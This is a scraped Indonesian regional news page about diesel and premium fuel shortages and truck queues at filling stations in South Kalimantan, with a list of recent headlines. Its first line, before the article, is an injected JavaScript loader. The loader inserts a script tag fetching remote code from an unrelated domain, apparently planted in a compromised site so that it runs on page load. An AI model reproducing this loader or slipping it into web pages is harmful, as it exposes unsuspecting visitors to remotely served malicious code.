(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pasokan Tersendat, SPBU Mulai Dibanjiri Truk Pengantri Solar Subsidi


BANJARMASIN, Selama beberapa hari terakhir sejumlah SPBU di Banjarbaru, Martapura, dan Banjarmasin mulai terjadi antrian panjang oleh kendaraan truk yang ingin mendapatkan solar bersubsidi.

Di beberapa lokasi diantaranya di SPBU di Jalan A Yani Km 26 dekat Pasar Landasan Ulin, terlihat antrian truk yang berjajar hingga menjangkau pinggir jalan. Demikian juga pada sejumlah SPBU di Km 17 Kabupaten Banjar, serta SPBU di Trikora yang tidak bekerjasama dengan Pertamina.

Antrian puluhan truk pengangkut barang tersebut, tak ayal berimbas pada kemacetan di sejumlah lokasi. Terutama kendaraan lain yang ingin mengantri untuk mendapatkan premium atau pertalite. Baik untuk roda empat ataupun roda dua.

Jayadi, salah seorang sopir truk yang ditemui mengatakan sudah beberapa hari terakhir memang terjadi kelangkaan solar. Sehingga dia kesusahan untuk mendapatkan bahan bakar kendaraannya.

“Ini sudah cari putar-putar di sejumlah lokasi tapi banyak habis. Jadi antri di sini menunggu giliran,” ujarnya ditemui di SPBU di Km 26, Banjarbaru.

Selain itu, jenis BBM lain seperti premium terkadang kosong pada SPBU tertentu sehingga harus mencari ke SPBU lain. Kondisi ini juga dikeluhkan sopir taksi angkutan penumpang umum.

“Saat ini agak sulit mendapatkan premium karena tak semua SPBU menyediakan dan beberapa juga habis,” kata Nurdin, sopir angkot yang biasa beroperasi di Banjarbaru.

Sementara petugas di SPBU mengaku tidak mengetahui pasti persoalan BBM tersebut. Mereka berdalih hanya betugas memberikan pelayanan kalau barangnya tersedia.

Terkait hal ini, DPRD Kalsel mengaku prihatin dengan kelangkaan BBM yang sering terjadi belakangan ini. Baik untuk pasokan solar, premium, ataupun pertalite.

Sebagai contoh pada SPBU Jalan A Yani Km 6 Banjarmasin beberapa hari ini tidak memberikan layanan untuk pengisian premium, kecuali jenis pertamax dan pertalite.

Oleh karena itu, Komisi III DPRD Kalsel yang juga membidangi perhubungan, serta pertambangan dan energi bermaksud mengundang Pertamina guna dimintai keterangan.

“Bila ketidaknormalan pasokan BBM yang menjadi kebutuhan orang banyak masih terjadi, kami dari Komisi III DPRD Kalsel mengagendakan pertemuan dengan Pertamina guna mengetahui persoalan tersebut,” demikian Sekretaris Komisi III DPRD Kalsel Riswandi. (robby/yandi/ant)


Desy Arfianty

Recent Posts

Tak Ada Peminat Jalur Perseorangan di Pilwali Banjarbaru 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemilihan Wali Kota dan Wakil Wali Kota dalam kontestasi Pilkada 2024 di… Read More

13 menit ago

Kebakaran Dini Hari di Palangkaraya, Dana Hanya Bisa Selamatkan Anak Istri

KANALKALIMANTAN.COM, PALANGKARAYA - Puluhan rumah di permukiman padat penduduk Jalan Mendawai Induk, Kota Palangkaraya, Kalimantan… Read More

3 jam ago

Amuntai Expo dan Bazar UMKM 2024 Berakhir

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melalui Asisten Perekonomian dan Pembangunan… Read More

3 jam ago

Jalinan Erat Silaturahmi Warga Sungai Besar dari Budaya Banjar “Balogo”

KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More

19 jam ago

Pelantikan Pengurus Wilayah Keluarga Besar PII Kalsel

KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More

20 jam ago

Lesti Kejora Hingga Ria Ricis Siap Ramaikan Silet Awards 2024!

KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More

21 jam ago

This website uses cookies.